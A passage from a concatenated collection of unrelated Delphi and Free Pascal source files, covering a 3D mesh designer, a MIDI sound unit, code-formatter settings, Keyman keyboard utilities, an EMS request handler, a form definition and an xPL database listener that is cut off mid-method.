Model3D1.Position.X:= Model3D1.Position.X + 0.02;
// btnRight.Enabled:= Model3D1.Position.X + Model3D1.Width / 2 < Viewport1;
end;
procedure TMeshCollectionDesigner.ClearMeshes;
var
I: Integer;
LMeshes: TList<TMesh>;
LMesh: TMesh;
begin
LMeshes := TList<TMesh>.Create;
try
for I := 0 to Model3D1.ChildrenCount - 1 do
begin
if Model3D1.Children[I] is TMesh then
begin
LMeshes.Add(TMesh(Model3D1.Children[I]));
end;
end;
for LMesh in LMeshes do
begin
Model3D1.RemoveObject(LMesh);
LMesh.Free;
end;
finally
LMeshes.Free;
end;
end;
procedure TMeshCollectionDesigner.CloneMeshCollection(AModel3D: TModel3D);
var
I: Integer;
LMesh: TMesh;
begin
for i := 0 to High(AModel3D.MeshCollection) do
begin
LMesh := TMesh(AModel3D.MeshCollection[I].Clone(nil));
LMesh.HitTest := False;
LMesh.Lock;
Model3D1.AddObject(LMesh);
end;
end;
procedure TMeshCollectionDesigner.FormCreate(Sender: TObject);
const
ButtonMargin: Integer = 4;
var
LWidth: Single;
begin
FCommand := cNone;
LWidth := Math.Max(115, Canvas.TextWidth(btnLoad.Text) + ButtonMargin * 6);
LWidth := Math.Max(LWidth, Canvas.TextWidth(btnClear.Text) + ButtonMargin * 6);
LWidth := Math.Max(LWidth, Canvas.TextWidth(btnOk.Text) + ButtonMargin * 6);
LWidth := Math.Max(LWidth, Canvas.TextWidth(btnCancel.Text) + ButtonMargin * 6);
Layout1.Width := LWidth;
MoveLayout.Width:= LWidth;
end;
procedure TMeshCollectionDesigner.SetScale(const Value: Single);
begin
if (FScale <> Value) then
begin
FScale := Log10(Value);
TrackBar1.Value := -FScale;
end;
end;
procedure TMeshCollectionDesigner.TrackBar1Change(Sender: TObject);
begin
FScale := Power(10, -TrackBar1.Value);
if Assigned(Model3D1) then
begin
Model3D1.Scale.X := FScale;
Model3D1.Scale.Y := FScale;
Model3D1.Scale.Z := FScale;
end;
end;
procedure TMeshCollectionDesigner.btnCancelClick(Sender: TObject);
begin
Model3D1.Clear;
ClearMeshes;
FCommand := cNone;
ModalResult := mrCancel;
end;
procedure TMeshCollectionDesigner.Viewport1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
begin
FDown := PointF(X, Y);
end;
procedure TMeshCollectionDesigner.Viewport1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Single);
begin
if (ssLeft in Shift) then
begin
{ rotate Z }
CameraX.RotationAngle.X := CameraX.RotationAngle.X + ((Y - FDown.Y) * 0.3);
{ rotate X }
CameraY.RotationAngle.Y := CameraY.RotationAngle.Y + ((X - FDown.X) * 0.3);
FDown := PointF(X, Y);
end;
end;
procedure TMeshCollectionDesigner.Viewport1MouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; var Handled: Boolean);
begin
Camera.Position.Vector := Camera.Position.Vector + Vector3D(0, 0, 1) * ((WheelDelta / 120) * 0.3);
end;
end.
|
unit Sounds;
interface
uses
MMSystem;
procedure Sound(Nota: byte);
procedure DeSound(Nota: byte);
procedure NoSound;
procedure SetStyle(Style: byte);
procedure SetVolume(aVolume: byte);
procedure SetChanel(aChanel: byte);
procedure InitSounds;
procedure CloseSounds;
const Instruments: array [0 .. 127] of string=(
'AcousticGrandPiano', 'BrightAcousticPiano', 'ElectricGrandPiano',
'HonkyTonkPiano', 'ElectricPiano1', 'ElectricPiano2',
'Harpsichord', 'Clavinet', 'Celesta', 'Glockenspiel',
'MusicBox', 'Vibraphone', 'Marimba', 'Xylophone',
'TubularBells', 'Dulcimer', 'DrawbarOrgan', 'PercussiveOrgan',
'RockOrgan', 'ChurchOrgan', 'ReedOrgan', 'Accordion', 'Harmonica',
'TangoAccordion', 'AcousticNylonGuitar', ' AcousticSteelGuitar',
'JazzElectricGuitar', 'CleanElectricGuitar', 'MutedElectricGuitar',
'OverdrivenGuitar', 'DistortionGuitar', 'GuitarHarmonics',
'AcousticBass', 'FingeredElectricBass', 'PickedElectricBass',
'FretlessBass', 'SlapBass1', 'SlapBass2', 'SynthBass1',
'SynthBass2', 'Violin', 'Viola', 'Cello', 'Contrabass',
'TremoloStrings', 'PizzicatoStrings', 'OrchestralHarp',
'Timpani', 'StringEnsemble1', 'StringEnsemble2', 'SynthStrings1',
'SynthStrings2', 'ChoirAahs', 'VoiceOohs', 'SynthVoice',
'OrchestraHit', 'Trumpet', 'Trombone', 'Tuba', 'MutedTrumpet',
'FrenchHorn', 'BrassSection', 'SynthBrass1', 'SynthBrass2',
'SopranoSax', 'AltoSax', 'TenorSax', 'BaritoneSax', 'Oboe',
'EnglishHorn', 'Bassoon', 'Clarinet', 'Piccolo', 'Flute',
'Recorder', 'PanFlute', 'BlownBottle', 'Shakuhachi', 'Whistle',
'Ocarina', 'SquareLead', 'SawtoothLead', 'CalliopeLead',
'ChiffLead', 'CharangLead', 'VoiceLead', 'FifthsLead',
'BassandLead', 'NewAgePad', 'WarmPad', 'PolySynthPad',
'ChoirPad', 'BowedPad', 'MetallicPad', 'HaloPad', 'SweepPad',
'SynthFXRain', 'SynthFXSoundtrack', 'SynthFXCrystal',
'SynthFXAtmosphere', 'SynthFXBrightness', 'SynthFXGoblins',
'SynthFXEchoes', 'SynthFXSciFi', 'Sitar', 'Banjo', 'Shamisen',
'Koto', 'Kalimba', 'Bagpipe', 'Fiddle', 'Shanai', 'TinkleBell',
'Agogo', 'SteelDrums', 'Woodblock', 'TaikoDrum', 'MelodicTom',
'SynthDrum', 'ReverseCymbal', 'GuitarFretNoise', 'BreathNoise',
'Seashore', 'BirdTweet', 'TelephoneRing', 'Helicopter',
'Applause', 'Gunshot');
implementation
var
hmidi: integer;
Volume: array [0 .. 15] of byte;
Chanel: byte;
IsSound: array [0 .. 15] of boolean;
procedure Sound(Nota: byte);
begin
MidiOutShortMsg(hMidi, $90 or Chanel or Nota shl 8 or Volume[Chanel] shl 16);
end;
procedure DeSound(Nota: byte);
begin
MidiOutShortMsg(hMidi, $90 or Chanel or Nota shl 8);
end;
procedure NoSound;
var
aNota: byte;
begin
for aNota := 0 to 127 do
MidiOutShortMsg(hMidi, $90 or Chanel or aNota shl 8);
end;
procedure SetStyle(Style: byte);
begin
MidiOutShortMsg(hmidi, Style shl 8 or $C0 or Chanel);
end;
procedure SetVolume(aVolume: byte);
begin
Volume[Chanel] := AVolume;
end;
procedure SetChanel(aChanel: byte);
begin
Chanel := AChanel;
end;
procedure InitSounds;
var
i: integer;
uDevID : integer;
begin
uDevID := -1;
MidiOutOpen(@hmidi,cardinal(uDevID),0,0,0);
Chanel := 0;
Volume[Chanel] := $7F;
for i := 0 to 15 do
IsSound[i] := False;
end;
procedure CloseSounds;
begin
MidiOutClose(hmidi);
end;
initialization
finalization
end.
|
unit frBasicSettings;
{(*}
(*------------------------------------------------------------------------------
Delphi Code formatter source code
The Original Code is frBasicSettings.pas, released April 2000.
The Initial Developer of the Original Code is Anthony Steele.
Portions created by Anthony Steele are Copyright (C) 1999-2008 Anthony Steele.
All Rights Reserved.
Contributor(s): Anthony Steele.
The contents of this file are subject to the Mozilla Public License Version 1.1
(the "License"). you may not use this file except in compliance with the License.
You may obtain a copy of the License at http://www.mozilla.org/NPL/
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied.
See the License for the specific language governing rights and limitations
under the License.
Alternatively, the contents of this file may be used under the terms of
the GNU General Public License Version 2 or later (the "GPL")
See http://www.gnu.org/licenses/gpl.html
------------------------------------------------------------------------------*)
{*)}
{$I JcfGlobal.inc}
interface
uses
{ delphi }
SysUtils, Classes, Controls, Forms, Dialogs,
Buttons, StdCtrls, ExtCtrls,
{ local }
JvMRUManager,
ConvertTypes, frmBaseSettingsFrame, JvBaseDlg, JvBrowseFolder;
type
TfrBasic = class(TfrSettingsFrame)
rgFileRecurse: TRadioGroup;
rgBackup: TRadioGroup;
edtInput: TEdit;
edtOutput: TEdit;
lblOutput: TLabel;
lblInput: TLabel;
sbOpen: TSpeedButton;
dlgOpen: TOpenDialog;
JvBrowseForFolderDialog1: TJvBrowseForFolderDialog;
procedure rgFileRecurseClick(Sender: TObject);
procedure rgBackupClick(Sender: TObject);
procedure rgModeClick(Sender: TObject);
procedure edtInputDragOver(Sender, Source: TObject; X, Y: integer;
State: TDragState; var Accept: boolean);
procedure edtInputDragDrop(Sender, Source: TObject; X, Y: integer);
procedure edtInputKeyUp(Sender: TObject; var Key: word; Shift: TShiftState);
procedure sbOpenClick(Sender: TObject);
procedure FrameResize(Sender: TObject);
private
procedure AddCheckMRU(const psFile: string);
protected
procedure DragItemDropped(const piFormat: integer; const psItem: string); override;
public
// ref to main form
mruFiles: TJvMRUManager;
constructor Create(AOwner: TComponent); override;
procedure Read; override;
procedure Write; override;
function GetCurrentBackupMode: TBackupMode;
function GetCurrentSourceMode: TSourceMode;
procedure SetCurrentSourceMode(const peValue: TSourceMode);
function GetGoHint: string;
procedure DisplayOutputFile;
procedure DoFileOpen(const psName: string = '');
end;
implementation
uses
{ jcl }
jclFileUtils,
{ local }
JcfHelp, JcfSettings, JcfRegistrySettings;
{$ifdef FPC}
{$R *.lfm}
{$else}
{$R *.dfm}
{$endif}
constructor TfrBasic.Create(AOwner: TComponent);
var
lbShowFileName: boolean;
begin
inherited;
IsDropActive := True;
{ the filename setting etc. is not relevant to the IDE pluggin }
{$IFDEF IDEPLUGGIN}
lbShowFileName := False;
{$ELSE}
lbShowFileName := True;
{$ENDIF}
lblInput.Visible := lbShowFileName;
lblOutput.Visible := lbShowFileName;
edtInput.Visible := lbShowFileName;
edtOutput.Visible := lbShowFileName;
sbOpen.Visible := lbShowFileName;
rgFileRecurse.Visible := lbShowFileName;
rgBackup.Visible := lbShowFileName;
fiHelpContext := HELP_BASIC_SETTINGS;
end;
procedure TfrBasic.DragItemDropped(const piFormat: integer; const psItem: string);
begin
// can only be from the input edit box
edtInput.Text := psItem;
DisplayOutputFile;
end;
function TfrBasic.GetCurrentBackupMode: TBackupMode;
begin
Result := TBackupMode(rgBackup.ItemIndex);
end;
function TfrBasic.GetCurrentSourceMode: TSourceMode;
begin
Result := TSourceMode(rgFileRecurse.ItemIndex);
end;
procedure TfrBasic.SetCurrentSourceMode(const peValue: TSourceMode);
begin
if GetCurrentSourceMode <> peValue then
begin
rgFileRecurse.ItemIndex := Ord(peValue);
rgFileRecurseClick(nil);
end;
end;
procedure TfrBasic.DisplayOutputFile;
{$IFNDEF IDEPLUGGIN}
var
bShowOutput: boolean;
{$ENDIF}
begin
case GetCurrentBackupMode of
cmInPlace:
lblOutput.Caption := '';
cmInPlaceWithBackup:
lblOutput.Caption := 'Backup file';
cmSeparateOutput:
lblOutput.Caption := 'Output file';
else
raise Exception.Create('TfrmMain.DisplayOutputFile: bad backup group index');
end;
{$IFNDEF IDEPLUGGIN}
if JcfFormatSettings = nil then
edtOutput.Text := ''
else
edtOutput.Text :=
GetRegSettings.GetOutputFileName(edtInput.Text, GetCurrentBackupMode);
bShowOutput := (GetCurrentBackupMode <> cmInplace) and
(GetCurrentSourceMode = fmSingleFIle);
lblOutput.Visible := bShowOutput;
edtOutput.Visible := bShowOutput;
{$ENDIF}
end;
procedure TfrBasic.rgModeClick(Sender: TObject);
begin
CallOnChange;
end;
{-------------------------------------------------------------------------------
event handlers }
procedure TfrBasic.rgFileRecurseClick(Sender: TObject);
begin
inherited;
case GetCurrentSourceMode of
fmSingleFile:
lblInput.Caption := 'Input file';
fmDirectory:
begin
lblInput.Caption := 'Directory';
edtInput.Text := IncludeTrailingPathDelimiter(ExtractFileDir(edtInput.Text));
end;
fmDirectoryRecursive:
begin
lblInput.Caption := 'Start directory';
edtInput.Text := IncludeTrailingPathDelimiter(ExtractFileDir(edtInput.Text));
end;
end;
DisplayOutputFile;
CallOnChange;
end;
procedure TfrBasic.rgBackupClick(Sender: TObject);
begin
DisplayOutputFile;
CallOnChange;
end;
procedure TfrBasic.Read;
var
lcRegSet: TJCFRegistrySettings;
begin
lcRegSet := GetRegSettings;
rgFileRecurse.ItemIndex := Ord(lcRegSet.SourceMode);
rgBackup.ItemIndex := Ord(lcRegSet.BackupMode);
edtInput.Text := lcRegSet.Input;
DisplayOutputFile;
end;
procedure TfrBasic.Write;
var
lcRegSet: TJCFRegistrySettings;
begin
lcRegSet := GetRegSettings;
lcRegSet.SourceMode := GetCurrentSourceMode;
lcRegSet.BackupMode := GetCurrentBackupMode;
lcRegSet.Input := edtInput.Text;
end;
function TfrBasic.GetGoHint: string;
begin
if JcfFormatSettings.Obfuscate.Enabled then
Result := 'Obfuscate'
else
Result := 'Format';
case GetCurrentSourceMode of
fmSingleFile:
Result := Result + ' file';
fmDirectory:
Result := Result + ' directory';
fmDirectoryRecursive:
Result := Result + ' directory heirarchy';
end;
case GetCurrentBackupMode of
cmInPlace:
Result := Result + ' in place';
cmInPlaceWithBackup:
Result := Result + ' with backup';
cmSeparateOutput:
Result := Result + ' to output';
end;
end;
procedure TfrBasic.DoFileOpen(const psName: string);
var
lsDir: string;
begin
if psName = '' then
begin
// get a file name
lsDir := IncludeTrailingPathDelimiter(ExtractFileDir(edtInput.Text));
// strip out the dir
dlgOpen.InitialDir := lsDir;
dlgOpen.FileName := extractFileName(edtInput.Text);
dlgOpen.Filter := SOURCE_FILE_FILTERS;
if GetCurrentSourceMode = fmSingleFile then
begin
if dlgOpen.Execute then
begin
edtInput.Text := dlgOpen.FileName;
AddCheckMRU(edtInput.Text);
DisplayOutputFile;
end;
end
else
begin
JvBrowseForFolderDialog1.Directory := edtInput.Text;
if (JvBrowseForFolderDialog1.Execute) then
begin
edtInput.Text := IncludeTrailingPathDelimiter(JvBrowseForFolderDialog1.Directory);
AddCheckMRU(edtInput.Text);
DisplayOutputFile;
end;
end;
end
else
begin
// have a name. Is it a dir or a file?
if DirectoryExists(psName) then
begin
edtInput.Text := IncludeTrailingPathDelimiter(psName);
AddCheckMRU(edtInput.Text);
DisplayOutputFile;
if GetCurrentSourceMode = fmSingleFile then
SetCurrentSourceMode(fmDirectory);
end
else if FileExists(psName) then
begin
edtInput.Text := psName;
AddCheckMRU(edtInput.Text);
DisplayOutputFile;
if GetCurrentSourceMode <> fmSingleFile then
SetCUrrentSourceMode(fmSingleFile);
end;
end;
end;
procedure TfrBasic.AddCheckMRU(const psFile: string);
var
liIndex: integer;
begin
liIndex := mruFiles.Strings.IndexOf(psFile);
if (liIndex < 0) then
begin
mruFiles.Add(psFile, 0);
liIndex := mruFiles.Strings.IndexOf(psFile);
end;
mruFiles.Strings.Move(liIndex, 0);
while mruFiles.Strings.Count > mruFiles.Capacity do
mruFiles.Strings.Delete(mruFiles.Strings.Count - 1);
end;
{------------------------------------------------------------------------------
event handlers }
procedure TfrBasic.edtInputDragOver(Sender, Source: TObject; X, Y: integer;
State: TDragState; var Accept: boolean);
begin
Accept := True;
end;
procedure TfrBasic.edtInputDragDrop(Sender, Source: TObject; X, Y: integer);
begin
HandleShellDragDrop(Source);
end;
procedure TfrBasic.edtInputKeyUp(Sender: TObject; var Key: word; Shift: TShiftState);
begin
DisplayOutputFile;
end;
procedure TfrBasic.sbOpenClick(Sender: TObject);
begin
DoFileOpen;
end;
procedure TfrBasic.FrameResize(Sender: TObject);
const
SPACING = 8;
SMALL_SPACE = 2;
begin
{inherited;
// these fill width
sbOpen.Left := ClientWidth - (sbOpen.Width + SPACING);
edtInput.Width := (sbOpen.Left - SMALL_SPACE) - edtInput.Left;
edtOutput.Width := (ClientWidth - SPACING) - edtOutput.Left;}
end;
end.
|
program LionKing;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils, CustApp, dynlibs,
{ you can add units after this }
smartfunc // this includes the smart functions
;
type
{ TLionKing }
TLionKing = class(TCustomApplication)
protected
procedure DoRun; override;
public
constructor Create(TheOwner: TComponent); override;
destructor Destroy; override;
procedure WriteHelp; virtual;
end;
procedure LoadSmart;
begin
SmartSetup('http://world19.runescape.com/', 'plugin.js?param=o0,a1,m0', 765, 503, 's');
end;
{ TLionKing }
procedure TLionKing.DoRun;
var
ErrorMsg: String;
begin
// quick check parameters
ErrorMsg:=CheckOptions('h','help');
if ErrorMsg<>'' then begin
ShowException(Exception.Create(ErrorMsg));
Terminate;
Exit;
end;
// parse parameters
if HasOption('h','help') then begin
WriteHelp;
Terminate;
Exit;
end;
{ add your program here }
Writeln('Whatup world?');
LoadSmart;
sleep(100000);
{ You probably want something like
while true do
begin
some_script_function
end;
Getting past this point will kill smart. (it's the end of the program, so
smart is freed)
}
// stop program loop
Terminate;
end;
constructor TLionKing.Create(TheOwner: TComponent);
begin
inherited Create(TheOwner);
StopOnException:=True;
end;
destructor TLionKing.Destroy;
begin
inherited Destroy;
end;
procedure TLionKing.WriteHelp;
begin
{ add your help code here }
writeln('Usage: ',ExeName,' -h');
end;
var
Application: TLionKing;
{$R *.res}
begin
Application:=TLionKing.Create(nil);
Application.Title:='Lion King';
Application.Run;
Application.Free;
end.
|
(*
Name: UImportOlderKeyboardUtils
Copyright: Copyright (C) SIL International.
Documentation:
Description:
Create Date: 28 Aug 2008
Modified Date: 16 Jun 2014
Authors: mcdurdin
Related Files:
Dependencies:
Bugs:
Todo:
Notes:
History: 28 Aug 2008 - mcdurdin - I1616 - Upgrade keyboards from 6.x
01 Jun 2009 - mcdurdin - I2001 - use current user not local machine when testing root keyboard path
11 Jan 2011 - mcdurdin - I2642 - Installer uninstalls KM7 keyboards before upgrade can happen
03 May 2011 - mcdurdin - I2890 - Record diagnostic data when encountering registry errors
26 Jun 2012 - mcdurdin - I3377 - KM9 - Update code references from 8.0 to 9.0
26 Jun 2012 - mcdurdin - I3379 - KM9 - Remove old Winapi references now in Delphi libraries
16 Jun 2014 - mcdurdin - I4185 - V9.0 - Upgrade V8.0 keyboards to 9.0
*)
unit UImportOlderKeyboardUtils;
interface
uses
RegistryKeys;
type
TImportOlderKeyboardUtils = class
public
class function GetShortKeyboardName(const FileName: string): string;
class function GetShortPackageName(const FileName: string): string;
class function GetPackageInstallPath: string;
class function GetKeyboardInstallPath: string;
class function GetRegistryKeyboardInstallKey(const FileName: string): string; static; // I4185
class function GetKeyboardIconFileName(const KeyboardFileName: string): string; static; // I4185
end;
implementation
uses
Classes,
ErrorControlledRegistry,
ShlObj,
SysUtils,
KeymanPaths,
utildir,
utilsystem,
Windows;
class function TImportOlderKeyboardUtils.GetShortKeyboardName(const FileName: string): string;
begin
if (LowerCase(ExtractFileExt(FileName)) = '.kmx') or
(LowerCase(ExtractFileExt(FileName)) = '.kxx') or
(LowerCase(ExtractFileExt(FileName)) = '.kmp')
then Result := ChangeFileExt(ExtractFileName(FileName), '')
else Result := FileName;
end;
class function TImportOlderKeyboardUtils.GetShortPackageName(const FileName: string): string;
begin
Result := GetShortKeyboardName(FileName);
end;
class function TImportOlderKeyboardUtils.GetPackageInstallPath: string;
begin
Result := TKeymanPaths.KeyboardsInstallPath(TKeymanPaths.S__Package);
end;
class function TImportOlderKeyboardUtils.GetKeyboardInstallPath: string;
begin
Result := TKeymanPaths.KeyboardsInstallPath;
end;
class function TImportOlderKeyboardUtils.GetRegistryKeyboardInstallKey(const FileName: string): string; // I4185
begin
Result := SRegKey_InstalledKeyboards+'\'+GetShortKeyboardName(FileName);
end;
class function TImportOlderKeyboardUtils.GetKeyboardIconFileName(const KeyboardFileName: string): string; // I4185
begin
Result := ChangeFileExt(KeyboardFileName, '.kmx.ico');
end;
end.
|
{*******************************************************}
{ }
{ CodeGear Delphi Runtime Library }
{ Copyright(c) 2016-2018 Embarcadero Technologies, Inc. }
{ All rights reserved }
{ }
{*******************************************************}
unit EMSHosting.EdgeRequestHandler;
interface
uses System.SysUtils, System.Classes,
EMSHosting.RequestTypes, EMSHosting.RequestHandler, EMS.ResourceAPI, EMSHosting.Endpoints;
type
TEdgeRequestHandler = class(TEMSHostRequestHandler)
protected
function UserIDOfSession(const AContext: IEMSHostContext; const ASessionToken, ATenantId: string;
out AUserID: string): Boolean; override;
function UserNameOfID(const AContext: IEMSHostContext; const AUserID, ATenantId: string;
out AUserName: string): Boolean; override;
function GetGroupsByUser(const AContext: IEMSHostContext; const AUserID, ATenantId: string): TArray<string>; override;
procedure CheckForbiddenRequest(const AResourceName, AOriginalResourceName: string); override;
procedure AuthenticateRequest(const AResources: TArray<TEMSResource>; const ARequestProps: TEMSHostRequestProps;
var AAuthenticated: TEndpointContext.TAuthenticated); override;
procedure LogEndpoint(const AResource, AEndpointName, AMethod, AUserID,
ACustom, ATenantId: string); override;
procedure RedirectResource(const AContext: TEndpointContext; var AResource: TEMSResource; var AEndpointName: string); override;
function GetDefaultTenantId: string; override;
function IsUserBelongsToTenant(const AUserId, ATenantId: string): Boolean; override;
function GetTenantNameByTenantId(const ATenantId: string; const AContext: IEMSHostContext = nil): string; override;
end;
implementation
uses EMS.Services, EMSHosting.Helpers, EMSHosting.ExtensionsServices;
procedure TEdgeRequestHandler.AuthenticateRequest(const AResources: TArray<TEMSResource>;
const ARequestProps: TEMSHostRequestProps;
var AAuthenticated: TEndpointContext.TAuthenticated);
begin
AAuthenticated := [];
end;
procedure TEdgeRequestHandler.CheckForbiddenRequest(
const AResourceName, AOriginalResourceName: string);
begin
// Do nothing
end;
function TEdgeRequestHandler.GetDefaultTenantId: string;
begin
Result := '';
end;
function TEdgeRequestHandler.GetGroupsByUser(const AContext: IEMSHostContext;
const AUserID, ATenantId: string): TArray<string>;
var
Intf: IEMSEdgeHostContext;
begin
if Supports(AContext, IEMSEdgeHostContext, Intf) then
Result := Intf.GetGroupsByUser(AUserID, ATenantId);
end;
function TEdgeRequestHandler.GetTenantNameByTenantId(
const ATenantId: string; const AContext: IEMSHostContext = nil): string;
var
Intf: IEMSEdgeHostContext;
begin
if Supports(AContext, IEMSEdgeHostContext, Intf) then
Result := Intf.GetTenantNameByTenantId(ATenantId);
end;
function TEdgeRequestHandler.IsUserBelongsToTenant(const AUserId,
ATenantId: string): Boolean;
begin
Result := True;
end;
procedure TEdgeRequestHandler.LogEndpoint(const AResource, AEndpointName,
AMethod, AUserID, ACustom, ATenantId: string);
begin
// Do nothing
end;
procedure TEdgeRequestHandler.RedirectResource(const AContext: TEndpointContext; var AResource: TEMSResource;
var AEndpointName: string);
begin
// Do nothing
end;
function TEdgeRequestHandler.UserIDOfSession(const AContext: IEMSHostContext; const ASessionToken, ATenantId: string;
out AUserID: string): Boolean;
var
Intf: IEMSEdgeHostContext;
begin
Result := Supports(AContext, IEMSEdgeHostContext, Intf);
if Result then
Result := Intf.UserIDOfSession(ASessionToken, AUserID);
end;
function TEdgeRequestHandler.UserNameOfID(const AContext: IEMSHostContext; const AUserID, ATenantId: string;
out AUserName: string): Boolean;
var
Intf: IEMSEdgeHostContext;
begin
Result := Supports(AContext, IEMSEdgeHostContext, Intf);
if Result then
Result := Intf.UserNameOfID(AUserID, AUserName);
end;
end.
|
unit Getter.External;
interface
uses
SysUtils,
Partition, Getter.PartitionExtent, CommandSet, CommandSet.Factory,
Device.PhysicalDrive;
type
TExternalGetter = class
private
function GetDriveNumber(const PartitionPathToTrim: String): Cardinal;
function GetIsExternalWithPhysicalDrive(
const PhysicalDriveNumber: Cardinal): Boolean;
public
function IsExternal(const PartitionPathToTrim: String): Boolean;
end;
implementation
{ TExternalGetter }
function TExternalGetter.GetIsExternalWithPhysicalDrive(
const PhysicalDriveNumber: Cardinal): Boolean;
var
CommandSet: TCommandSet;
begin
CommandSet := CommandSetFactory.GetSuitableCommandSet(
TPhysicalDrive.BuildFileAddressByNumber(PhysicalDriveNumber));
try
result := CommandSet.IsExternal;
finally
FreeAndNil(CommandSet);
end;
end;
function TExternalGetter.GetDriveNumber(const PartitionPathToTrim: String):
Cardinal;
var
Partition: TPartition;
PartitionExtentList: TPartitionExtentList;
begin
Partition := TPartition.Create('\\.\' + PartitionPathToTrim);
try
PartitionExtentList := Partition.GetPartitionExtentList;
result := PartitionExtentList[0].DriveNumber;
FreeAndNil(PartitionExtentList);
finally
FreeAndNil(Partition);
end;
end;
function TExternalGetter.IsExternal(const PartitionPathToTrim: String): Boolean;
var
DriveNumber: Cardinal;
begin
DriveNumber := GetDriveNumber(PartitionPathToTrim);
result := GetIsExternalWithPhysicalDrive(DriveNumber);
end;
end.
|
object BackgroundOptionsForm: TBackgroundOptionsForm
Left = 287
Top = 117
BorderStyle = bsDialog
Caption = 'Background Options'
ClientHeight = 328
ClientWidth = 299
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
Position = poScreenCenter
OnClose = FormClose
OnShow = FormShow
PixelsPerInch = 96
TextHeight = 13
object bbOk: TcxButton
Left = 124
Top = 288
Width = 75
Height = 25
Caption = 'OK'
Default = True
ModalResult = 1
OptionsImage.NumGlyphs = 2
TabOrder = 3
end
object bbCancel: TcxButton
Left = 208
Top = 288
Width = 75
Height = 25
Cancel = True
Caption = 'Cancel'
ModalResult = 2
OptionsImage.NumGlyphs = 2
TabOrder = 4
end
object gbPicture: TcxGroupBox
Left = 12
Top = 40
Caption = ' Picture Options '
TabOrder = 2
Height = 233
Width = 273
object chTop: TcxCheckBox
Left = 12
Top = 76
Caption = 'Top offset'
TabOrder = 2
Transparent = True
OnClick = chClick
end
object chLeft: TcxCheckBox
Left = 12
Top = 20
Caption = 'Left offset'
TabOrder = 0
Transparent = True
OnClick = chClick
end
object chWidth: TcxCheckBox
Left = 144
Top = 20
Caption = 'New Width'
TabOrder = 4
Transparent = True
OnClick = chClick
end
object chHeight: TcxCheckBox
Left = 144
Top = 76
Caption = 'New Height'
TabOrder = 6
Transparent = True
OnClick = chClick
end
object chCenterHoriz: TcxCheckBox
Left = 12
Top = 132
Caption = 'Center Horizontally'
TabOrder = 8
Transparent = True
end
object chCenterVert: TcxCheckBox
Left = 12
Top = 156
Caption = 'Center Vertically'
TabOrder = 9
Transparent = True
end
object chAlignRight: TcxCheckBox
Left = 12
Top = 180
Caption = 'Align Right'
TabOrder = 10
Transparent = True
end
object chAlignBottom: TcxCheckBox
Left = 12
Top = 204
Caption = 'Align Bottom'
TabOrder = 11
Transparent = True
end
object chStretchHoriz: TcxCheckBox
Left = 144
Top = 132
Caption = 'Stretch Horizontally'
TabOrder = 12
Transparent = True
end
object chStretchVert: TcxCheckBox
Left = 144
Top = 156
Caption = 'Stretch Vertically'
TabOrder = 13
Transparent = True
end
object chScaledSize: TcxCheckBox
Left = 144
Top = 180
Caption = 'Scaled Size'
TabOrder = 14
Transparent = True
end
object sedLeft: TcxSpinEdit
Left = 12
Top = 40
Properties.MaxValue = 9999.000000000000000000
Properties.MinValue = -9999.000000000000000000
Properties.ValueType = vtFloat
TabOrder = 1
Width = 109
end
object sedTop: TcxSpinEdit
Left = 12
Top = 96
Properties.MaxValue = 9999.000000000000000000
Properties.MinValue = -9999.000000000000000000
Properties.ValueType = vtFloat
TabOrder = 3
Width = 109
end
object sedWidth: TcxSpinEdit
Left = 144
Top = 40
Properties.MaxValue = 9999.000000000000000000
Properties.ValueType = vtFloat
TabOrder = 5
Width = 109
end
object sedHeight: TcxSpinEdit
Left = 144
Top = 96
Properties.MaxValue = 9999.000000000000000000
Properties.ValueType = vtFloat
TabOrder = 7
Width = 109
end
end
object chBrushEnabled: TcxCheckBox
Left = 24
Top = 12
Caption = 'Brush Enabled'
TabOrder = 0
Transparent = True
end
object chPictureEnabled: TcxCheckBox
Left = 156
Top = 12
Caption = 'Picture Enabled'
TabOrder = 1
Transparent = True
end
end
|
{ Add this unit to the "uses" clause of the main form in order be able to
read the MakerNote tag of all supported camera makes. }
unit fpeMakerNote;
interface
uses
fpeMakerNoteCanon, fpeMakerNoteCasio, fpeMakerNoteEpson, fpeMakerNoteFuji,
fpeMakerNoteMinolta, fpeMakerNoteNikon, fpeMakerNoteOlympus,
fpeMakerNoteSanyo;
implementation
end.
|
unit u_xpl_db_listener;
{$mode objfpc}{$H+}{$M+}
interface
uses Classes
, SysUtils
, u_xpl_custom_listener
, u_xpl_config
, u_xpl_message
, zDataset
, zConnection
;
type
{ TxPLDBListener }
TxPLDBListener = class(TxPLCustomListener)
private
SQLQuery : TZQuery;
procedure ConnectToDatabase(const aSchema : string);
protected
SQLConnection : TZConnection;
fTestTableName : string; // Table name that will validate presence of database schema
fSchemaCreation: TStringList;
procedure OpenQuery(const aQuery : string);
procedure ExecQuery(const aQuery : string);
public
constructor Create(const aOwner : TComponent); reintroduce;
destructor Destroy; override;
procedure UpdateConfig; override;
published
property Query : TZQuery read SQLQuery stored false;
property Connection : TZConnection read SQLConnection stored false;
end;
implementation // =============================================================
uses db
, u_xpl_header
, u_xpl_body
, uxPLConst
, u_xpl_custom_message
, LResources
;
const //=======================================================================
rsHostname = 'hostname';
rsUsername = 'username';
rsPassword = 'password';
rsDatabase = 'database';
// ============================================================================
constructor TxPLDBListener.Create(const aOwner: TComponent);
begin
inherited Create(aOwner);
fSchemaCreation := TStringList.Create;
Config.DefineItem(rsHostname, TxPLConfigItemType.config, 1, 'localhost');
Config.DefineItem(rsUsername, TxPLConfigItemType.config, 1, 'root');
Config.DefineItem(rsPassword, TxPLConfigItemType.config, 1, 'root');
Config.DefineItem(rsDatabase, TxPLConfigItemType.config, 1, 'xpl');
end;
destructor TxPLDBListener.Destroy;
begin
fSchemaCreation.Free;
inherited Destroy;
end;
procedure TxPLDBListener.UpdateConfig;
var aSQL, aDB : string;
begin
inherited UpdateConfig;
if Config.IsValid then begin
if not assigned(SQLConnection) then begin
SQLConnection := TZConnection.Create(self);
SQLQuery := TZQuery.Create(self);
